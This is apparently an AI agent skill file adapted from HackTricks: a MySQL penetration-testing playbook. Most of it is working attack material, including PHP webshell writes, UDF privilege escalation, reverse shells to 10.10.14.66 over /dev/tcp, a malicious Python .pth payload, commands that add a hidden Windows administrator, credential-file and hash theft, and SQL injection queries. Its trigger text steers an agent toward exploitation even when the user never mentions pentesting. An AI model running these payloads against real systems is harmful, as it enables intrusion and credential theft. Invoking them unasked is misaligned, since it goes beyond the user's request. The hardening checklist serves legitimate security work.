Hacktricks-skills mysql-pentesting

MySQL database penetration testing and exploitation. Use this skill whenever the user needs to enumerate, exploit, or escalate privileges on MySQL databases (port 3306). Trigger for: MySQL connection testing, credential extraction, privilege escalation, SQL injection exploitation, UDF attacks, file read/write operations, hash cracking, and MySQL security auditing. Make sure to use this skill for any MySQL-related security testing, even if the user doesn't explicitly mention 'pentesting' or 'exploitation'.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-mysql/SKILL.MD
source content

MySQL Pentesting Skill

A comprehensive guide for MySQL database penetration testing, from initial enumeration to privilege escalation.

Quick Start

# Basic connection
mysql -h <target> -u root -p

# Local socket connection
mysql -S /run/mysqld/mysqld.sock -u root

# Nmap enumeration
nmap -sV -p 3306 --script=mysql-audit,mysql-databases,mysql-enum,mysql-info,mysql-users <target>

Phase 1: Initial Enumeration

Connection Testing

Local connections:

mysql -u root                    # Try without password
mysql -u root -p                 # Prompt for password
mysql -S /run/mysqld/mysqld.sock # Local socket

Remote connections:

mysql -h <hostname> -u root
mysql -h <hostname> -u root@localhost

Nmap Scripts

# Comprehensive MySQL enumeration
nmap -sV -p 3306 --script=
  mysql-audit,
  mysql-databases,
  mysql-dump-hashes,
  mysql-empty-password,
  mysql-enum,
  mysql-info,
  mysql-query,
  mysql-users,
  mysql-variables,
  mysql-vuln-cve2012-2122 <target>

Metasploit Modules

# Version detection
use auxiliary/scanner/mysql/mysql_version

# Auth bypass hash dump
use auxiliary/scanner/mysql/mysql_authbypass_hashdump

# Hash dump (requires creds)
use auxiliary/scanner/mysql/mysql_hashdump

# Full enumeration (requires creds)
use auxiliary/admin/mysql/mysql_enum

# Schema dump (requires creds)
use auxiliary/scanner/mysql/mysql_schemadump

# Windows command execution (requires creds)
use exploit/windows/mysql/mysql_start_up

Phase 2: Database Enumeration

Basic Information

-- Version and user info
SELECT VERSION();
SELECT @@VERSION();
SELECT USER();
SELECT DATABASE();

-- List all databases
SHOW DATABASES;

-- List tables in current database
SHOW TABLES;

-- Describe table structure
DESCRIBE <table_name>;
SHOW COLUMNS FROM <table>;

User and Privilege Enumeration

-- Current user privileges
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();
SHOW GRANTS FOR 'root'@'localhost';

-- All users and their privileges
SELECT * FROM mysql.user;

-- Users with FILE privilege (critical for exploitation)
SELECT user, file_priv FROM mysql.user WHERE file_priv='Y';

-- Users with SUPER privilege
SELECT user, Super_priv FROM mysql.user WHERE Super_priv='Y';

-- Custom privilege check
SELECT user, password, create_priv, insert_priv, update_priv, 
       alter_priv, delete_priv, drop_priv FROM mysql.user;

Custom Functions

-- List all stored functions
SELECT routine_name FROM information_schema.routines 
  WHERE routine_type = 'FUNCTION';

-- Non-system functions
SELECT routine_name FROM information_schema.routines 
  WHERE routine_type = 'FUNCTION' 
  AND routine_schema != 'sys';

Phase 3: File Operations

Reading Files (requires FILE privilege)

-- Read a file
SELECT LOAD_FILE('/var/lib/mysql-files/key.txt');

-- Read /etc/passwd
SELECT LOAD_FILE('/etc/passwd');

Writing Files (requires FILE privilege)

-- Write PHP webshell
SELECT 1,2,"<?php echo shell_exec($_GET['c']);?>",4 
  INTO OUTFILE 'C:/xampp/htdocs/back.php';

-- Write to Linux
SELECT '<?php system($_GET["c"]); ?>' 
  INTO OUTFILE '/var/www/html/shell.php';

INTO OUTFILE Limitations

  • Cannot overwrite existing files
  • Path is relative to MySQL's current working directory
  • Use
    ../../
    to navigate up directories
  • Requires
    secure_file_priv
    to be empty or point to writable location

Phase 4: Privilege Escalation

Via User-Defined Functions (UDF)

Prerequisites:

  • MySQL running as root or privileged user
  • FILE privilege to write to plugin directory
  • Ability to create functions

Linux UDF Exploitation:

-- Use mysql database
USE mysql;

-- Create table to hold library
CREATE TABLE npn(line blob);

-- Load the malicious library
INSERT INTO npn VALUES(LOAD_FILE('/tmp/lib_mysqludf_sys.so'));

-- Find plugin directory
SHOW VARIABLES LIKE '%plugin%';

-- Dump library to plugin directory
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';

-- Create the function
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

-- Execute commands
SELECT sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows UDF Exploitation:

USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(LOAD_FILE('C://temp//lib_mysqludf_sys.dll'));
SHOW VARIABLES LIKE '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Windows Directory Creation Trick:

-- Create directory using NTFS ADS when only file write is available
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

Via Python .pth Files

Requirements:

  • INTO OUTFILE access to Python site-packages directory
  • Python CGI scripts that execute automatically

Payload:

-- Single line Python payload (no spaces)
SELECT 'import os,sys,subprocess,base64;subprocess.call("bash -c ''bash -i >& /dev/tcp/10.10.14.66/4444 0>&1''",shell=True)' 
  INTO OUTFILE '/var/lib/python3.10/site-packages/x.pth';

Trigger: Request any Python CGI script to execute the payload.

Via LOAD DATA LOCAL INFILE

Client-side file read:

-- This causes the CLIENT to read the file and send to server
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test 
  FIELDS TERMINATED BY '\n';

Note: Requires

local_infile=1
on server and client support.

Phase 5: Credential Extraction

From Configuration Files

# Debian MySQL credentials
cat /etc/mysql/debian.cnf

# User MySQL config files
cat ~/.my.cnf
cat ~/.mylogin.cnf

# MySQL history
cat ~/.mysql.history

From MySQL Data Files

# Extract hashes from user.MYD
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | \
  grep -v "mysql_native_password"

From Database

-- Get all user hashes
SELECT user, authentication_string FROM mysql.user;

-- For older MySQL (password column)
SELECT user, password FROM mysql.user;

Cracking Hashes

# Hashcat (mode 21100 for caching_sha2_password)
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist

# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist

Phase 6: SQL Injection Techniques

Information Schema Queries

-- Get all table names
UNION SELECT 1,2,3,4, GROUP_CONCAT(0x7c,table_name,0x7C) 
  FROM information_schema.tables;

-- Get column names for specific table
UNION SELECT 1,2,3,4,column_name 
  FROM information_schema.columns 
  WHERE table_name='<TABLE_NAME>';

Binary Data Manipulation

-- Convert hex to binary
CONVERT(UNHEX("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)

-- Convert base64 to binary
CONVERT(FROM_BASE64("aG9sYWFhCg=="), BINARY)

Phase 7: Local Enumeration (Post-Shell)

Check MySQL Service User

# Check config for user setting
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"

# Check service status
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | \
  cut -d '=' -f2 | cut -d ' ' -f1

Find Credentials and Sockets

# MySQL sockets
ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null

# Credential files
ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null

# Config analysis
grep -RNI -E '^(bind-address|skip-networking|socket)\b' \
  /etc/mysql /etc/my.cnf* 2>/dev/null

Quick Posture Check

mysql -S /run/mysqld/mysqld.sock -u root -e "
  SHOW VARIABLES LIKE 'secure_file_priv';
  SHOW VARIABLES LIKE 'local_infile';
  SHOW GRANTS FOR CURRENT_USER();
" 2>/dev/null

Phase 8: Recent Vulnerabilities (2023-2025)

CVE-2023-21971: JDBC propertiesTransform RCE

Affected: MySQL Connector/J <= 8.0.32

Exploit:

jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil

Mitigation: Upgrade to Connector/J 8.0.33+

Rogue MySQL Server Attacks

Tools:

  • mysql-fake-server
    (Java)
  • rogue_mysql_server
    (Python)

Attack flow:

  1. Victim connects to attacker-controlled MySQL server
  2. Server sends crafted packets triggering LOCAL INFILE or deserialization
  3. Achieve file read or RCE on victim

Example:

java -jar fake-mysql-cli.jar -p 3306

Security Hardening Checklist

  • Set
    LOCAL_INFILE=0
  • Set
    --secure-file-priv=/var/empty
  • Remove FILE privilege from application accounts
  • Set
    allowLoadLocalInfile=false
    in Connector/J
  • Set
    autoDeserialize=false
    in Connector/J
  • Disable unused authentication plugins
  • Require TLS:
    require_secure_transport = ON
  • Monitor for: CREATE FUNCTION, INSTALL COMPONENT, INTO OUTFILE, LOAD DATA LOCAL

Information Schema Reference

Key Tables

DatabaseTablePurpose
information_schemaTABLESAll tables across databases
information_schemaCOLUMNSColumn definitions
information_schemaROUTINESStored procedures and functions
information_schemaUSER_PRIVILEGESUser privileges
mysqluserUser accounts and hashes
mysqldbDatabase-level privileges
mysqltables_privTable-level privileges
performance_schemaglobal_variablesServer variables

Useful Commands Reference

# Execute SQL from file
mysql -u username -p < commands.sql

# Execute single command
mysql -u root -h 127.0.0.1 -e 'SHOW DATABASES;'

# Get shell from MySQL client
\! sh

# Change MySQL root password
UPDATE mysql.user SET authentication_string=PASSWORD('NewPass') WHERE User='root';
FLUSH PRIVILEGES;

Scripts

Use the bundled scripts for common tasks:

  • scripts/mysql_enum.sh
    - Automated enumeration
  • scripts/mysql_priv_check.sh
    - Privilege assessment
  • scripts/mysql_hash_extract.sh
    - Hash extraction from files

References